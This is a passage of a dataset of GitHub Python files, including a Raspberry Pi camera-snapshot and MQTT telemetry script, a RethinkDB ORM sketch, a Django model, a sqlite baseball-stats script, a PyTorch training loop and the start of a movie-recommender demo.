event_speical_variable,\n test_start_date, test_end_date,\n event_start_mark, event_end_mark,\n event_str, constituent_index)\n\n\nresult = myes.plot_event(event_name, 60, 60, 1, '000300')\nresult[0].plot()\nresult[0].to_csv('event_return.csv')\npd.DataFrame().to_csv('pre_disclosure.csv')","repo_name":"wusf/QuantModelResearch","sub_path":"EventStudy/event_pre_disclosure.py","file_name":"event_pre_disclosure.py","file_ext":"py","file_size_in_byte":1162,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"21361498232","text":"from datetime import datetime #for read date and time\nimport os # read for os.system\nimport logging #for log create\nimport logging.config # for log config\nimport json #json for read json files\nimport paho.mqtt.client as mqtt # mqtt client for subscribe\nimport paho.mqtt.publish as publish # mqtt client for publish\nimport threading # calling thread function\nimport time # time function wait the process\nimport subprocess # subprocess for to call another file\nimport requests # for url request\nimport base64 # convert image in base64 format\nimport ast # to read array files\nimport glob # function for read number of folders\nimport psutil #to read cpu usage\n\nlogging.config.fileConfig('/home/pi/Envy/logging.conf')\nlogger = logging.getLogger()\n\nwith open('/home/pi/Envy/aggri.json') as aggri_data:\n data = json.load(aggri_data)\naggri_data.close()\n\nwith open('/home/pi/Envy/videoset.json') as server:\n data_value = json.load(server)\nserver.close()\n\nwith open('/home/pi/Envy/path.json') as server:\n data_path = json.load(server)\nserver.close()\n\ndata_val = (json.dumps(data['FRAMERATE']))\nfps = data_val.replace('\"','')\nlogger.info(\"fps %s\" % fps)\n\ndata_val = (json.dumps(data['SNAP_TIME']))\nsnap_time = data_val.replace('\"','')\nlogger.info(\"snap_time %s\" % snap_time)\n\n\ndata_val = (json.dumps(data['NUMBER_OF_CAMERA']))\nnum_of_camera = data_val.replace('\"','')\nlogger.info(\"num_of_camera %s\" % num_of_camera)\n\nemg_call_num = (json.dumps(data['CAMERA_NAMES']))\ncamera_name_list = ast.literal_eval(emg_call_num)\nlogger.info(\"camera_name_list %s\" % camera_name_list)\n\nemg_call_num = (json.dumps(data['CAMERA_IP']))\ncamera_ip_list = ast.literal_eval(emg_call_num)\nlogger.info(\"camera_ip_list %s\" % camera_ip_list)\n\ndata_val = (json.dumps(data_value['TOPIC']))\ntopic= data_val.replace('\"','')\nlogger.info(\"topic %s\" % topic)\n\ndata_val = (json.dumps(data_value['BROKER']))\nbroker_data= data_val.replace('\"','')\nlogger.info(\"BROKER %s\" % broker_data)\n\ndata_val = (json.dumps(data_path['CAMERA_PATH']))\ncamera_path = data_val.replace('\"','')\nlogger.info(\"camera_path %s\" % camera_path) \n\ndata_val = (json.dumps(data_path['SNAP_PATH']))\nsnap_path = data_val.replace('\"','')\nlogger.info(\"snap_path %s\" % snap_path) \n\ndata_val = (json.dumps(data_path['EVENT_PATH']))\nevent_path = data_val.replace('\"','')\nlogger.info(\"event_path %s\" % event_path) \n\n\nBroker = broker_data\npub_topic = topic\ncamera_folder = \"0701\"\ncamera_folder_append = [camera_folder]\nflag_event = 2\n#loop for create folders for video,event and snap\nfor i in range(int(num_of_camera)):\n\tos.system('mkdir -p {}{}'.format(camera_path,str(camera_folder).zfill(4)))\n\tos.system('mkdir -p {}{}'.format(snap_path,camera_name_list[i]))\n\tos.system('mkdir -p {}{}'.format(event_path,str(camera_folder).zfill(4)))\n\tcamera_folder = int(camera_folder) + 1\n\tcamera_folder_append.append(str(camera_folder).zfill(4))\n\t\n\t\nurl = 'http://188.42.97.98:4440/api/FileUpload/UploadPicture'\n\n\n\n# function for get ram free data\ndef getFree():\n\tfree = os.popen(\"free -h\")\n\ti = 0\n\twhile True:\n\t\ti = i + 1\n\t\tline = free.readline()\n\t\tif i==2:\n\t\t\treturn(line.split()[0:7])\n# function for get pi CPU data\t\t\t\ndef getCPUuse():\n\tfor i, percentage in enumerate(psutil.cpu_percent(percpu=True, interval=1)):\n\t\tpass\n\treturn(psutil.cpu_percent())\n\n# function for get video and image file count\t\ndef file_count():\n\tcount = []\n\tcount_snap =[]\n\tdateTimeObj = datetime.now()\n\tdatefolder = dateTimeObj.strftime(\"%Y%m%d\")\n\tdatefolder_snap = dateTimeObj.strftime(\"%d-%m-%Y\")\n\tfor i in range(int(num_of_camera)):\n\t\tcount_val = sum([len(files) for r, d, files in os.walk(\"{}{}/{}\".format(camera_path,str(camera_folder_append[i]),datefolder))])\n\t\tcount_val_snap = sum([len(files) for r, d, files in os.walk(\"{}{}/{}\".format(snap_path,str(camera_name_list[i]),datefolder_snap))])\n\t\t#count_val = camera_folder_append[i]+ \":\" + str(count_val)\n\t\tcount.append(count_val)\n\t\tcount_snap.append(count_val_snap)\n\t\t\n# function for get sd card data\t\ndef getsddata():\n\tfree = os.popen(\"df -h\")\n\ti = 0\n\twhile True:\n\t\ti = i + 1\n\t\tline = free.readline()\n\t\t#print(line)\n\t\tif i==2:\n\t\t\treturn(line.split()[0:7])\n\n\"\"\"\t\t\t\ndef storage_video_camera(camera_ip,camera_name,camera_folder):\n\n\twhile 1:\n\t\ttry :\n\t\t\tdateTimeObj = datetime.now()\n\t\t\tdatefolder = dateTimeObj.strftime(\"%Y%m%d\")\n\t\t\ttimestampStr = dateTimeObj.strftime(\"%H%M%S\")\n\t\t\ttry :\n\t\t\t\tos.system('mkdir -p /media/pi/HDD/{}/{}'.format(str(camera_folder),datefolder))\n\t\t\texcept Exception as e: \n\t\t\t\tlogger.error(e)\n\t\t\tlogging.info(\"Record Started {} time: {}\".format(camera_folder,timestampStr))\n\t\t\tresult = os.system('ffmpeg -rtsp_transport tcp -y -i rtsp://{}:80/live/{} -vcodec copy -an -f mp4 -t 00:03:00 /media/pi/HDD/{}/{}/{}.mp4 '.format(camera_ip,camera_name,str(camera_folder),datefolder,timestampStr))\n\t\t\tval = timestampStr\n\t\t\t\n\t\t\tif 0 == result:\n\t\t\t\tdateTimeObj = datetime.now()\n\t\t\t\ttimestampStr = dateTimeObj.strftime(\"%H%M%S\")\n\t\t\t\tlogging.info(\"Record Completed {} time: {}\".format(camera_folder,timestampStr))\n\t\t\telse:\n\t\t\t\tlogging.error(\"Record Not Completed {}: {}\".format(camera_folder,result))\n\t\texcept Exception as e:\n\t\t\tlogger.error(\"Error in {} : {}\".format(camera_folder,str(e)))\n\t\t\tpass\n\n\t\t\n\"\"\"\t\n\n# function for snaps form camera\t\t\ndef snapshot(camera_ip,camera_name,camera_folder):\n\tfile_val = 0\n\tsnap_sec = '00'\n\twhile 1:\n\t\ttry :\n\t\t\tdateTimeObj = datetime.now()\n\t\t\tdatefolder = dateTimeObj.strftime(\"%d-%m-%Y\")\n\t\t\ttimestampStr = dateTimeObj.strftime(\"%H-%M-%S\")\n\t\t\ttimestampStr_split = timestampStr.split(\"-\")\n\t\t\tif(snap_sec == '60'):\n\t\t\t\tsnap_sec = '00' \n\t\t\tif(timestampStr_split[2] == snap_sec):\n\t\t\t\tfile_val = file_val + 1\n\t\t\t\t#for i in range(int(num_of_camera)):\n\t\t\t\tfile_name = datefolder+\"_\"+timestampStr+\"_\"+\"Envy_\"+camera_folder+\"_\"+str(file_val).zfill(4)+\".jpeg\"\n\t\t\t\tos.system('mkdir -p {}{}/{}'.format(snap_path,camera_name,datefolder))\n\t\t\t\tresult = os.system('ffmpeg -rtsp_transport tcp -i rtsp://{}:80/live/{} -vframes 1 -r 1 -s 640x480 {}{}/{}/{} '.format(camera_ip,camera_name,snap_path,camera_name,datefolder,file_name))\n\t\t\t\tif 0 == result:\n\t\t\t\t\tlogging.info(\"snap taken and file name {}\".format(file_name))\n\t\t\t\telse:\n\t\t\t\t\tlogging.error(\"snap is not takenand file name {}\".format(file_name))\n\t\t\t\tsnap_to_server(camera_name,file_name,camera_folder)\n\t\t\t\tprint(timestampStr_split)\t\n\t\t\t\tsnap_sec = int(snap_sec) + int(snap_time)\n\t\t\t\tsnap_sec = str(snap_sec)\n\t\t\t\ttime.sleep(5)\n\t\t\telse :\n\t\t\t\t#continue\n\t\t\t\ttime.sleep(0.05) \n\t\t\t\t\n\t\texcept Exception as e:\n\t\t\tlogger.error(e)\n\t\t\t#print(e)\n\t\t\tpass\n\t\t\t\n# function for send snaps to server\ndef snap_to_server(camera_name,file_name,camera_folder):\n\ttry :\n\t\tdateTimeObj = datetime.now()\n\t\tdatefolder = dateTimeObj.strftime(\"%d-%m-%Y\")\n\t\t#if(flag == 1):\n\t\twith open(snap_path+camera_name+\"/\"+str(datefolder)+\"/\"+str(file_name), \"rb\") as img_file:\n\t\t\tmy_string = base64.b64encode(img_file.read())\n\t\t \n\t\tfolder_upload = \"22663\\\\{}\\\\\".format(camera_folder)\n\t\tmyobj = {\"ByteArray\":my_string,\"FileName\":file_name,\"UploadPath\":folder_upload,\"FolderName\":\"null\",\"EventId\":\"null\"}\n\n\t\tx = requests.post(url, data = myobj)\n\t\tres = x.status_code\n\t\tval1 = x.text\n\t\t#print(x.text, x.status_code)\n\t\tlogging.info(\"camera name : {},post image Completed : {} and post image value : {} \".format(camera_name,res,val1))\n\t\t#logging.info(\"post image value : %s \" % val1)\n\t\t#flag = 0\n\texcept Exception as e:\n\t\tlogger.error(e)\n\t\tpass\n\t\t\n# function for compress the video file size\t\t\ndef convert_video_file():\n\twhile 1 :\n\t\ttry :\n\t\t\tfor i in range(int(num_of_camera)):\n\t\t\t\t\n\t\t\t\tlist_of_files = glob.glob('{}{}/*'.format(camera_path,camera_folder_append[i]))\n\t\t\t\toldest_file = min(list_of_files, key=os.path.getctime)\n\t\t\t\tsplit_file = oldest_file.split(\"/\")\n\t\t\t\tdatefolder = split_file[5]\n\t\t\t\tif(len(list_of_files) > 3):\n\t\t\t\t\tos.system('mkdir -p {}convertfile'.format(camera_path))\n\t\t\t\t\tos.system('mkdir -p {}convertfile/{}'.format(camera_path,camera_folder_append[i]))\n\t\t\t\t\tos.system('mkdir -p {}convertfile/{}/{}'.format(camera_path,camera_folder_append[i],datefolder))\n\t\t\t\t\tfor r, d,f in os.walk(oldest_file):\n\t\t\t\t\t\tfor file in f:\n\t\t\t\t\t\t\tif '.h264' in file:\n\t\t\t\t\t\t\t\tresult = os.system('ffmpeg -r {} -i {}/{} -s 640x480 -c:v h264_omx -r 15 -b:v 150k -an -t 00:03:00 -f mp4 {}convertfile/{}/{}/{}'.format(fps,oldest_file,file,camera_path,camera_folder_append[i],datefolder,file))\n\t\t\t\t\tos.system('sudo rm -r {}'.format(oldest_file))\n\t\t\t\t\tlogging.info(\"convert video file completed for : {}\".format(camera_folder_append[i]))\n\t\t\t\telse:\n\t\t\t\t\tbreak\n\t\t\t\t\t\n\t\texcept Exception as e:\n\t\t\tlogger.error(e)\n\t\t\tpass\n\t\ttime.sleep(5)\t\n\n# function for publish aggri data\t\t\ndef aggri_data_publish():\n\twhile 1:\n\t\ttry :\n\t\t\tmem = getFree()\n\t\t\tfile_count_rd=file_count()\n\t\t\tsd_data = getsddata()\n\t\t\t\n\t\t\tdateTimeObj = datetime.now()\n\t\t\ttimestampStr = dateTimeObj.strftime(\"%d%m%Y %H%M%S\")\n\t\t\tdatefolder = dateTimeObj.strftime(\"%Y%m%d\")\n\t\t\tdev_val = os.popen('/opt/vc/bin/vcgencmd measure_temp')\n\t\t\tcpu_temp = dev_val.read()[5:-3]\n\t\t\tcpu_use = getCPUuse()\n\t\t\t\n\t\t\tmess = {'HEARTBEAT':'alive','TIMESTAMP':timestampStr,'TEMPERATURE': cpu_temp,\"CPU\": float(cpu_use),\"RAM TOTAL\" :mem[1],\"RAM USED\" :mem[2],\"RAM FREE\" :mem[3],\"RAM AVAILABLE \" :mem[6],\"SD SIZE\" : sd_data[1],\"SD USED\" : sd_data[2],\"SD AVAILABLE\" : sd_data[3],\"SD USE%\" : sd_data[4],'TOTAL_CORES': int(psutil.cpu_count(logical=False)),'CAM_FILE COUNT' : file_count_rd} \n\t\t\t#print (mess\n\t\t\t#mess = 10\n\t\t\tlogger.debug('Published msg: {}'.format(mess)) \n\t\t\tpublish.single(pub_topic, str(mess) ,hostname=Broker)\n\t\t\tlogging.info(\"Publish Successfully\")\n\t\t\ttime.sleep(60)\n\t\t\t\n\t\t\t\t\n\t\texcept Exception as e:\n\t\t\tlogger.error(e)\n\t\t\tpass\n\n# function for connect mqtt subscriber\t\t\ndef on_connect(client, userdata, flags, rc):\n\tprint(\"Connected with result code \"+str(rc))\n\tclient.subscribe(\"Event\")\n\tfor i in range(int(num_of_camera)):\n\t\tclient.subscribe(camera_name_list[i])\t\n\t\t\n #function for subscriber message\ndef on_message(client, userdata, msg):\n\t\n\tpath = \"/home/pi/Envy/{}_status.txt\".format(msg.topic)\n\tfile1_panic_write = open(path,\"a\")#write mode \n\t\t\n\tfile1_panic_write.write(msg.topic+\" \"+str(msg.payload.decode('utf-8'))+\"\\n\"+\"\\n\"+\"\\n\") \n\tfile1_panic_write.close()\n\t\n# function for subscriber event message \ndef on_message_event(client, userdata, msg):\t\n\tif(str(msg.payload.decode('utf-8')) == \"event\"):\n\t\tdateTimeObj = datetime.now()\n\t\tdatefolder = dateTimeObj.strftime(\"%Y%m%d\")\n\t\ttimestampStr = dateTimeObj.strftime(\"%H%M%S\")\n\t\ttry :\n\t\t\tfor i in range(int(num_of_camera)):\n\t\t\t\tos.system('mkdir -p {}{}/{}'.format(event_path,camera_folder_append[i],datefolder))\n\t\t\t\tos.system('ffmpeg -rtsp_transport tcp -i rtsp://{}:80/live/{} -vframes 1 -r 1 -s 640x480 {}{}/{}/{}.jpg'.format(camera_ip_list[i],camera_name_list[i],event_path,camera_folder_append[i],datefolder,timestampStr))\n\t\t\t\tresult = os.system('mosquitto_pub -d -t {} -m \"event\"'.format(camera_name_list[i]))\n\t\t\t\tlogging.info(\"Event Snapshot Completed : {}\".format(camera_name_list[i]))\n\t\texcept Exception as e: \n\t\t\tlogger.error(e)\n\t\t\tpass\n\t\n\t\t\n\t\n# function for reconnect mqtt subscriber when client disconect \t \ndef on_disconnect(client, userdata, rc):\n\tif rc != 0:\n \tlogging.info(\"Unexpected MQTT disconnection. Will auto-reconnect\")\t\n \t\nif __name__ == \"__main__\":\n\tclient = mqtt.Client()\n\tclient.on_connect = on_connect\n\t#client.on_message = on_message\n\tclient.on_disconnect = on_disconnect\n\n\ttry :\n\t\tclient.connect(Broker, 1883, 60)\n\t\tfor i in range(int(num_of_camera)):\n\t\t\tclient.message_callback_add(camera_name_list[i],on_message)\n\t\tclient.message_callback_add(\"Event\",on_message_event)\n\texcept Exception as e:\n\t\tlogger.error(e)\n\t\tpass\n\n\tthread4 = threading.Thread(target=convert_video_file).start()\t\t\n\t\"\"\"for i in range(int(num_of_camera)):\n\t\tthread = threading.Thread(target=storage_video_camera,args=(camera_ip_list[i],camera_name_list[i],camera_folder_append[i])).start()\n\t\tlogging.info(\"storage_video_camera thread started for : {} \".format(camera_name_list[i])) \"\"\"\n\t\n\t#loop start the thread function\t\n\tfor i in range(int(num_of_camera)):\n\t\tthread = threading.Thread(target=snapshot,args=(camera_ip_list[i],camera_name_list[i],camera_folder_append[i])).start()\n\t\tlogging.info(\"snapshot camera thread started for : {} \".format(camera_name_list[i]))\n\t\n\t\t\n\tthread4 = threading.Thread(target=aggri_data_publish).start()\n\t\t\n\tclient.loop_forever()\n","repo_name":"Sameerahamad405/Sam","sub_path":"aggri_latest.py","file_name":"aggri_latest.py","file_ext":"py","file_size_in_byte":12284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70652899026","text":"from __future__ import print_function\n\nfrom itertools import izip\nimport re\nimport json\nimport copy\nimport weakref\n\nimport rethinkdb as r\n\n\nclass Field(object):\n '''Specifies a top level field in an object.\n '''\n def __init__(\n self,\n type_=str,\n name=None,\n primary_key=False,\n required=False):\n self.type_ = _convert_from_builtin(type_)\n self.name = name\n self.required = required\n self.primary_key = primary_key\n\n self.value = None\n\n def __get__(self, parent, type_=None):\n if parent is None:\n return self.name\n else:\n return parent.state[self.name]\n\n def __set__(self, parent, value):\n if self.type_.validate(value):\n parent.state[self.name] = value\n else:\n raise ValueError(\n '{} did not validate against the spec: {}'\n .format(value, self.type_)\n )\n\n\nclass Validating(object):\n '''Base class for validating field types'''\n\n def validate(self, data):\n raise NotImplemented \n\n def __eq__(self, other):\n return self.arg == other.arg\n\n def __repr__(self):\n if hasattr(self, 'arg'):\n fmt = '{classname}({self.arg})'\n else:\n fmt = '{classname}()'\n return fmt.format(\n classname=self.__class__.__name__,\n self=self,\n )\n\nclass ValidationError(Exception):\n '''Raised when a validation fails'''\n def __init__(self, msg, expected, received):\n self.msg = msg\n self.expected = expected\n self.received = received\n super(ValidationError, self).__init__(msg)\n\n\nclass InvalidSpec(Exception):\n '''Raised when a spec is malformed'''\n \n def __init__(self, msg, *args, **kwargs):\n super(InvalidSpec, self).__init__(msg.format(*args, **kwargs))\n\n\ndef _convert_from_builtin(spec):\n '''Converts from a primitive type shorthand to the internal\n objects.\n '''\n if hasattr(spec, 'validate'):\n return spec\n elif hasattr(spec, 'to_validating'):\n return spec.to_validating()\n elif spec is None:\n return Whatever()\n elif isinstance(spec, list) and len(spec) == 1:\n return List(*spec)\n elif isinstance(spec, set):\n return Enum(*spec)\n elif isinstance(spec, dict):\n return Object(**spec)\n elif spec in (str, int, float, bool):\n try:\n return Primitive(spec)\n except TypeError as te:\n raise InvalidSpec(te.message)\n elif isinstance(spec, (str, int, float, bool, object)):\n try:\n return Literally(spec)\n except TypeError as te:\n raise InvalidSpec(te.message)\n else:\n raise InvalidSpec(\"{} isn't valid in a spec\", spec)\n\n\nclass Whatever(Validating):\n '''Just kinda says yes to whatever'''\n\n def validate(self, _):\n return True\n\n\nclass Nullable(Validating):\n def __init__(self, spec):\n self.arg = _convert_from_builtin(spec)\n\n def validate(self, value):\n return value is None or self.arg.validate(value)\n\n\nclass Primitive(Validating):\n def __init__(self, type_):\n self.arg = type_\n\n def validate(self, value):\n return isinstance(value, self.arg)\n\n def __str__(self):\n return self.arg.__name__\n\n def __repr__(self):\n return 'Primitive({})'.format(self.arg.__name__)\n\n\nclass UUID(Validating):\n '''Validates a string, ensuring it is a valid UUID'''\n \n regex = re.compile(\n r'[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}', re.I)\n\n def validate(self, value):\n return bool(self.regex.match(value))\n\n\nclass Literally(Validating):\n '''Matches a primitive exactly (rather than ensuring a type'''\n def __init__(self, value):\n self.arg = json.loads(json.dumps(value))\n\n def validate(self, value):\n return self.arg == value\n\n\nclass AnyOf(Validating):\n '''Matches if any of several subspecs matches.\n '''\n def __init__(self, *subspecs):\n self.subspecs = map(_convert_from_builtin, subspecs)\n\n def validate(self, value):\n return any(subspec.validate(value) for subspec in self.subspecs)\n\n\nclass Enum(AnyOf):\n '''Similar to AnyOf, but accepts literals as constructor arguments'''\n\n def __init__(self, *subspecs):\n self.subspecs = map(Literally, subspecs)\n\n\nclass List(Validating):\n '''Validates if every element in the incoming array validates in\n the correct order. The lengths must also match'''\n def __init__(self, *subspecs):\n self.subspecs = map(_convert_from_builtin, subspecs)\n\n def validate(self, value):\n try:\n if len(value) != len(self.subspecs):\n return False\n return all(spec.validate(val)\n for spec, val in izip(self.subspecs, value))\n except TypeError:\n return False\n\n def __repr__(self):\n arglist = ', '.join(repr(spec) for spec in self.subspecs)\n return 'List({})'.format(arglist)\n\n\nclass Object(object):\n '''Validates an object spec. Only checks keys that are specified,\n won't complain about extra keys. If you want to ensure keys aren't\n present, create a model class and validate against that.'''\n\n def __init__(self, **subspecs):\n self.kwargs = {attr: _convert_from_builtin(spec)\n for attr, spec in subspecs.iteritems()}\n\n\nclass Table(object):\n '''Holds metadata about a table'''\n \n def __init__(self, name, fields):\n self.name = name\n self.fields = fields\n self.secondary_indexes = {}\n self.id_field = None\n for field in self.fields:\n if field.primary_key:\n self.id_field = field\n if field.index:\n self.secondary_index[field.name] = field\n\n\nclass DataBase(object):\n '''Holds information about a RethinkDB database, including a\n collection of tables that belong to it\n '''\n def __init__(self, name, connection=None):\n self.name = name\n self.conn = None\n self.db = r.db(self.name)\n self.tables = {}\n\n def create(self):\n if self.name not in r.db_list().run(self.conn):\n r.db_create(self.name).run(self.conn)\n\n def create_all(self):\n self.create()\n existing = self.db.table_list().run(self.conn)\n for tablename in set(self.tables) - set(existing):\n self.db.table_create(tablename)\n\n def __repr__(self):\n return '''DataBase({.name!r})'''.format(self)\n\n\nclass Session(object):\n '''Associates objects with a connection and database. Maintains\n the identity map of objects\n '''\n def __init__(self, database, connection):\n self.conn = connection\n self.database = database\n self.to_insert = []\n self.to_delete = []\n self.objects = []\n self.id_map = weakref.WeakValueDictionary()\n\n def add(self, doc):\n self.to_insert.append(doc)\n\n def delete(self, doc):\n self.to_delete(doc)\n\n def query(self, cls):\n pass\n\n def commit(self):\n pass\n\n\nclass AstrologyMeta(type):\n '''Metaclass for model base classes'''\n\n child_counter = 0\n\n def __new__(mcls, classname, bases, dict_):\n mcls.child_counter += 1\n if '__init__' in dict_:\n old_init = dict_['__init__']\n def __init__(self, *args, **kwargs):\n if not hasattr(self, 'metadata'):\n # metadata meant to be inherited\n self.__table__ = Table(\n name=self.__tablename__,\n )\n self.state = {}\n old_init(self, *args, **kwargs)\n dict_['__init__'] = __init__\n return type.__new__(mcls, classname, bases, dict_)\n\n def __init__(cls, classname, bases, dict_):\n cls._model_registry['classname'] = cls\n for attr, value in dict_.iteritems():\n if isinstance(value, Field) and value.name is None:\n value.name = attr\n metadata.fields[attr] = value\n\n\ndef astrology_base(db_name, baseclasses=(object,)):\n '''\n Call this function to create a Base class for all of your models.\n '''\n\n @classmethod\n def from_json(cls, json_dict):\n new_obj = cls()\n new_obj.state = json_dict\n return new_obj\n\n def to_json(self):\n new = copy.deepcopy(self.state)\n for key, value in new.items():\n if self.metadata.fields[key].required and \\\n value is None:\n del new[key]\n return new\n\n def __init__(self, **kwargs):\n for attr, value in kwargs.iteritems():\n setattr(self, attr, value)\n\n def __repr__(self):\n classname = self.__class__.__name__\n json_dict = self.to_json()\n return '{class_}.from_json({json})'.format(\n class_=classname,\n json=json_dict)\n \n def __str__(self):\n return json.dumps(self.to_json(), sort_keys=True, indent=True)\n \n return AstrologyMeta(\n 'AstrologyBase',\n baseclasses,\n {'from_json': from_json,\n 'to_json': to_json,\n '__init__': __init__,\n '__repr__': __repr__,\n '__str__': __str__,\n '_model_registry': {},\n },\n )","repo_name":"deontologician/ReQLAstrology","sub_path":"lib/reqlastrology.py","file_name":"reqlastrology.py","file_ext":"py","file_size_in_byte":9358,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"33845621443","text":"# Create your models here.\nimport markdown\nfrom django.contrib.auth.models import User\nfrom django.db import models\nfrom django.db.models.signals import pre_save\n\n\nclass Post(models.Model):\n title = models.CharField(max_length=200)\n slug = models.SlugField(max_length=200, unique=True)\n user = models.ForeignKey(User, on_delete=models.CASCADE)\n timestamp = models.DateTimeField()\n content_md = models.TextField()\n content_html = models.TextField()\n\n\ndef pre_save_post_receiver(sender, instance: Post, *args, **kwargs):\n if not instance.content_md:\n instance.content_md = ''\n instance.content_html = markdown.markdown(instance.content_md, extensions=['extra'])\n\n\npre_save.connect(pre_save_post_receiver, sender=Post)\n","repo_name":"guoyk-deprecated/landzero","sub_path":"www/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"28651648466","text":"import sqlite3\nimport parsestats\nimport linear_weights_constants\n\ndef create_league_table(filename):\n \"\"\"Uses a csv to create a database table with the same name as that csv\"\"\"\n try:\n # Making a connection between sqlite3 database and Python Program\n sqliteConnection = sqlite3.connect('baseball_data.db')\n print(\"Creating league table\")\n\n cursor_obj = sqliteConnection.cursor()\n cursor_obj.execute(f\"DROP TABLE IF EXISTS {filename}\")\n\n table = f\"\"\"\n CREATE TABLE {filename} (\n id INT PRIMARY KEY NOT NULL,\n name VARCHAR(255) NOT NULL,\n at_bats INT NOT NULL,\n singles INT NOT NULL,\n doubles INT NOT NULL,\n triples INT NOT NULL,\n hrs INT NOT NULL,\n walks INT NOT NULL,\n RAA REAL,\n wOBA REAL\n );\n \"\"\"\n cursor_obj.execute(table)\n \n players = parsestats.parse_data(filename + '.csv')\n i = 0\n for player in players:\n insert = f\"\"\"\n INSERT INTO rock_2022 (id,name,at_bats,singles,doubles,triples,hrs,walks)\n VALUES ({i}, \"{player.name}\", {player.at_bats}, {player.singles}, {player.doubles}, {player.triples},\n {player.home_runs}, {player.walks});\n \"\"\"\n\n cursor_obj.execute(insert)\n i += 1\n \n\n sqliteConnection.commit()\n\n except sqlite3.Error as error:\n print(\"Failed to create league table\", error)\n finally:\n # Inside Finally Block, If connection is open, we need to close it\n if sqliteConnection:\n # using close() method, we will close the connection\n sqliteConnection.close()\n\n\ndef select_top_5_players(table_name):\n \"\"\"Helper function to view top five players of a table\"\"\"\n sqliteConnection = sqlite3.connect('baseball_data.db')\n\n cursor_obj = sqliteConnection.cursor()\n\n select_string = f\"\"\"\n SELECT * FROM {table_name}\n \"\"\"\n cursor_obj.execute(select_string)\n output = cursor_obj.fetchall()\n print(output[0][2])\n\n if sqliteConnection:\n sqliteConnection.close()\n\n\ndef get_league_stats(table_name):\n \"\"\"Creates a season environment using all the players in a given table\"\"\"\n # Making a connection between sqlite3 database and Python Program\n sqliteConnection = sqlite3.connect('baseball_data.db')\n # If sqlite3 makes a connection with python program then it will print \"Connected to SQLite\"\n # Otherwise it will show errors\n print(\"Getting league wide stats\")\n\n cursor_obj = sqliteConnection.cursor()\n\n select_string = f\"\"\"\n SELECT SUM(at_bats), SUM(singles), SUM(doubles), SUM(triples), SUM(hrs), SUM(walks) from {table_name}\n \"\"\"\n cursor_obj.execute(select_string)\n\n output = cursor_obj.fetchall()\n probabilities = linear_weights_constants.create_season(output[0][0], output[0][1], output[0][2], output[0][3], output[0][4], output[0][5])\n\n if sqliteConnection:\n sqliteConnection.close()\n\n return probabilities\n\n\ndef get_all_players(table_name):\n \"\"\"Returns player objects for all players in a database\"\"\"\n sqliteConnection = sqlite3.connect('baseball_data.db')\n print(\"Getting players from the database\")\n\n cursor_obj = sqliteConnection.cursor()\n\n select_string = f\"\"\"\n SELECT id, name, at_bats, singles, doubles, triples, hrs, walks, RAA, wOBA from {table_name}\n \"\"\"\n cursor_obj.execute(select_string)\n\n output = cursor_obj.fetchall()\n \n players = []\n\n for row in output:\n player = parsestats.Player(row[1], row[2], row[3] + row[4] + row[5] + row[6], row[4], row[5], row[6], row[7], 0, RAA=row[8], wOBA=row[9], id = row[0])\n players.append(player)\n\n\n if sqliteConnection:\n sqliteConnection.close()\n\n return players\n \n\nif __name__ == \"__main__\":\n create_league_table(\"rock_2022\")\n select_top_5_players(\"rock_2022\")\n probabilities = get_league_stats(\"rock_2022\")\n print(probabilities)\n players = get_all_players(\"rock_2022\")\n for player in players:\n print(player)\n # name = name.replace(\"'\", \"\\'\")\n # dbeaver community","repo_name":"Joshua6h/wOBA-calculator","sub_path":"use_database.py","file_name":"use_database.py","file_ext":"py","file_size_in_byte":4308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22002113659","text":"import torch.nn.functional as F\nfrom torchsummary import summary\nfrom tqdm import tqdm\n\n\ndef training_loop(model, device, train_loader, optimizer, scheduler, loss_func, train_acc, train_losses):\n model.train()\n pbar = tqdm(train_loader)\n train_loss = 0\n correct = 0\n processed = 0\n for batch_idx, (data, target) in enumerate(pbar):\n data, target = data.to(device), target.to(device)\n optimizer.zero_grad()\n output = model(data)\n loss = loss_func(output, target)\n train_loss+=loss.item()\n loss.backward()\n optimizer.step()\n scheduler.step()\n correct+= output.argmax(dim=1).eq(target).sum().item()\n processed+= len(data)\n pbar.set_description(desc= f'loss={loss.item()} batch_id={batch_idx} Accuracy = {100*correct/processed:0.2f}')\n\n train_acc.append(100*correct/processed)\n train_losses.append(train_loss/len(train_loader))\n return ","repo_name":"jyanivaddi/ERA_V1","sub_path":"session_10/custom_resnet/training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"18130369826","text":"'''\n推荐系统中的潜在因子模型算法的demo\n'''\nimport csv\nimport random\nimport pickle\nimport mxnet.ndarray as nd\nimport mxnet as mx\nimport mxnet.autograd as autograd\n\ncompute=False\n# 限于内存大小,通过限制最大的用户Id和电影Id,取部分数据\nmaxUserID = 20000\nmaxMovieID = 3000\nfactorNum = 16 #隐藏因子的个数,太大似乎也不一定有益、相同的迭代次数,factorNum为100比16的测试准确率要差\ncontext = mx.gpu(0)\nepochs = 10000\nlr = 0.00001 #由于backup()没有带batchsz,所以lr很小,而且要根据训练数据的大小适当调整\n\n# 从开源的电影评价数据集中构建评价矩阵用于训练和测试\ndef load_data():\n num = 0\n with open(\"E:\\\\DeepLearning\\\\data\\\\movie_rate-20m\\\\ml-20m\\\\ratings.csv\", \"r\") as f:\n rate = csv.DictReader(f)\n train_data = nd.zeros(shape=[maxUserID, maxMovieID], ctx = context)\n test_data = nd.zeros(shape=[maxUserID, maxMovieID], ctx=context)\n flags = nd.zeros(shape=[maxUserID, maxMovieID], ctx=context)\n for rec in rate: # {'rating': '3.5', 'timestamp': '1112486027', 'userId': '1', 'movieId': '2'}\n num += 1\n if num % 100000 == 0:\n print(\"processed %d record\"%(num))\n if num > 1000000:\n break\n r = float(rec['rating'])\n u = int(rec['userId'])\n m = int(rec['movieId'])\n if u >= maxUserID or m >= maxMovieID:\n continue\n if random.randint(0, 10) > 7 : #部分用于测试集\n 